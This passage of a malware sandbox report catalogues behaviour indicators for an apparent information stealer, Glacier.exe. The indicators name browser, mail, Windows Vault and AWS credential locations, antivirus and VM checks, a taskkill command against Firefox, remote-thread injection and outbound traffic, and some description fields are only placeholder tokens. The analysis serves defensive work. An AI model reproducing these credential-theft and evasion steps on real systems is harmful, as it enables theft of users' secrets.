\"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"file/memory contains long string with (Indicator: \"GetComputerName\"; File: \"Glacier.exe\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001176.00000001.167729.6E434000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"file/memory contains long string with (Indicator: \"GetModuleFileName\"; File: \"Glacier.exe\")\n Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; File: \"Glacier.exe\")\n Found reference to API \"internal/syscall/windows.procGetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"Glacier.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001176.00000001.167729.0118E000.00000002.mdmp\")\n Found reference to API \"internal/syscall/windows.procGetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001176.00000001.167729.0118E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; File: \"Glacier.exe\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"file/memory contains long string with (Indicator: \"getsockname\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetricsForDpi\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")\n Found reference to API \"444,6332,111,,GetSystemMetrics,user32.dll,\"00:43:40.515\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00001176.00000001.167729.74510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"GetTickCountRelaGetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to to enumerates the credentials (API string)","description":"Found reference to API \"CredEnumerateA\" (Indicator: \"CredEnumerate\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":1,"id":"string-81","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains reference to Outlook data files path","description":"Found string \"%USERPROFILE%\\Documents\\Outlook Files\\*\" (Indicator: \"\\documents\\outlook files\"; Source: \"00000000-00001176-00000C2D-19920092530\")","origin":"File/Memory","mitre_attack_id":"T1114.001","relevance":3,"id":"string-570","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$59","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"\"Software\\Microsoft\\Office\\%s\\Outlook\\Profiles\\%s\\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp\n 00000000-00001176.00000001.167729.00400000.00000004.mdmp\n 00000000-00001176.00000001.167729.40000000.00000040.mdmp\n \"%s\\Thunderbird\\Profiles\" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp\n 00000000-00001176.00000001.167729.00400000.00000004.mdmp\n 00000000-00001176.00000001.167729.40000000.00000040.mdmp\n \"??\\C:\\Users\\VXQ8XVw\\AppData\\Roaming\\Thunderbird\\Profiles\" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp\n 00000000-00001176.00000001.167729.00400000.00000004.mdmp\n 00000000-00001176.00000001.167729.40000000.00000040.mdmp\n \"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp\n 00000000-00001176.00000001.167729.00400000.00000004.mdmp\n 00000000-00001176.00000001.167729.40000000.00000040.mdmp\n \"OFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00001176.00000000.167448.74510000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found string related to Windows Vault/Credentials location","description":"\"%APPDATA%\\Microsoft\\Vault\" (Indicator: \"\\microsoft\\vault\"; File: \"00000000-00001176-00000C3E-20504363770\")\n \":\\Users\\VXQ8XVw\\AppData\\Roaming\\Microsoft\\Vault\\wsmsmwk.exe\" (Indicator: \"\\microsoft\\vault\"; File: \"00000000-00001176.00000001.167729.74510000.00000004.mdmp\")\n \"??\\C:\\Users\\VXQ8XVw\\AppData\\Roaming\\Microsoft\\Vault\\wsmsmwk.exe\" (Indicator: \"\\microsoft\\vault\"; File: \"00000000-00001176.00000001.167729.74510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":3,"id":"string-197","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"file/memory contains long string with (Indicator: \"route\"; File: \"Glacier.exe\")\n Found string \"hostname\" (Indicator: \"hostname\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"HostName\" (Indicator: \"hostname\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Observed security product related strings in binary/memory","description":"Found string -csfalconservice.exe\n Found string -CrowdStrike Falcon","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":1,"id":"string-123","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Chromium browser credentials files","description":"Found string \":\\Users\\VXQ8XVw\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-wal\" (Indicator: \"google\\chrome\\user data\\default\\login data\"; Source: \"00000000-00001176.00000001.167729.74510000.00000004.mdmp\")\n Found string \"??\\C:\\Users\\VXQ8XVw\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-wal\" (Indicator: \"google\\chrome\\user data\\default\\login data\"; Source: \"00000000-00001176.00000001.167729.74510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.003","relevance":3,"id":"string-1000","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Firefox browser credentials files","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1555.003","relevance":1,"id":"string-405","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Strings related to file managers detected","description":"\"RDP/Connections.txt\" (Indicator: \"connections.txt\")\n \"%s\\SmartFTP\\Client 2.0\\Favorites\" (Indicator: \"\\smartftp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":3,"id":"string-136","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Able to access AWS credential file","description":"Found string \"AISessions/AWS/credentials\" (Indicator: \"aws/credentials\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1528","relevance":1,"id":"string-5076","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKey (in long string)\" in file \"Glacier.exe\"\n Found registry deletion API: \"RegDeleteValue (in long string)\" in file \"Glacier.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00001176-00000BC1-1612465549\")\n Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"\\drivers\\\"; Source: \"00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000000.167448.76130000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.76130000.00000004.mdmp\")\n Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000000.167448.76130000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.76130000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcessAsUser\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"file/memory contains long string with (Indicator: \"DeleteFile\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"RemoveDirectory\"; File: \"Glacier.exe\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"RelaDeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"file/memory contains long string with (Indicator: \"AdjustTokenPrivileges\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"LookupPrivilegeValue\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"file/memory contains long string with (Indicator: \"SetFileAttributes\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"file/memory contains long string with (Indicator: \"UpdateProcThreadAttribute\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"InitializeProcThreadAttributeList\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: Glacier.exe","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"ExitProcess\"; File: \"Glacier.exe\")\n file/memory contains long string with (Indicator: \"TerminateProcess\"; File: \"Glacier.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp\")\n Found reference to API \"TerminateProcessRelaRelay cy c\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001176.00000001.167729.00080000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"Glacier.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"Glacier.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"Glacier.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\PROGRAM FILES\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE\"; Value: \"23421BACA552DD010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Found anti-virus related strings names","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":3,"id":"string-134","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"May contain SSL certificate","description":"\"-----BEGIN CERTIFICATE-----\" (Indicator: \"----begin certificate----\") in Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1588.004","relevance":1,"id":"string-574","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"Glacier.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5d","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"Glacier.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\PROGRAM FILES\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE\"; Value: \"23421BACA552DD010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"file/memory contains long string with (Indicator: \"NetApiBufferFree\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"remove\" (Source: Glacier.exe, API is part of module: MSVCRT.DLL)\n Found string \"WSAIoctl\" (Source: Glacier.exe, API is part of module: WS2_32.DLL)\n Found string \"GetFileType\" (Source: Glacier.exe, API is part of module: KERNELBASE.DLL)\n Found string \"GetFileInformationByHandle\" (Source: Glacier.exe, API is part of module: KERNELBASE.DLL)\n Found string \"WSAGetOverlappedResult\" (Source: Glacier.exe, API is part of module: WS2_32.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Glacier.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"Environment Awareness","name":"May attempt to implement anti-virtualization techniques using MAC address detection","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-2","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads VM-specific registry key","description":"\"Glacier.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\ORACLE VM VIRTUALBOX GUEST ADDITIONS\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-33","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/23 Antivirus vendors marked sample as malicious (13% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$5f","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"Glacier.exe\" reads file \"C:\\Windows\\system.ini\"\n \"Glacier.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.67.197.60 on port 443 is sent without HTTP header\n TCP traffic to 208.95.112.1 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$60","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$61","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetSystemDirectoryA\n GetThreadContext\n GetSystemInfo\n LoadLibraryW\n CreateFileA\n CreateThread\n VirtualAlloc\n WriteFile\n LoadLibraryExW\n GetProcAddress","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"Glacier.exe\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Attempts to stop multiple expected running processes on the machine","description":"Process \"taskkill.exe\" with commandline \"taskkill /F /IM firefox.exe\" (UID: 00000000-00008020)\n Process \"chrome.exe\" with commandline \"--no-startup-window --headless\" (UID: 00000000-00002924)\n Process \"msedge.exe\" with commandline \"--no-startup-window --headless\" (UID: 00000000-00005528)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-604","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to create a thread in another process","description":"\"Glacier.exe\" called \"CreateRemoteThread\" with parameters {\"hProcess\": \"1672\"\n \"lpThreadAttributes\": \"0\"\n \"dwStackSize\": \"0\"\n \"lpStartAddress\": \"2623816995216\"\n \"lpParameter\": \"2623817004544\"\n \"dwCreationFlags\": \"0\"\n \"lpThreadId\": \"0\"}\n \"Glacier.exe\" called \"CreateRemoteThread\" with parameters {\"hProcess\": \"1056\"\n \"lpThreadAttributes\": 